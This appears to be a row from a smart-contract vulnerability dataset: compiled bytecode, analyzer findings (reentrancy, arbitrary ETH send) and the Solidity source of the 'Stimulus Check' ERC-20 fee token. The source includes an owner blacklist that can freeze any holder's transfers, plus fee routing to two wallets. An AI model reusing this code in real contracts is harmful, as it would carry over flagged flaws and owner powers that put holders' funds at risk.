020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a5ad6f8f8c58d90c533751bfad32d73e0b19edd40c30c67fdbf1d128975628c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 172 |
0x4d7beb770bb1c0ac31c2b3a3d0be447e2bf61013 | /**
*Submitted for verification at Etherscan.io on 2021-08-09
*/
/*
https://babytrumptoken.com/
https://t.me/BabyTrumpETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Stimulus is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Stimulus Check";
string public constant _symbol = "STIMULUS";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 8;
uint256 private _teamFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f5374696d756c757320436865636b000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5354494d554c5553000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600881526020017f5354494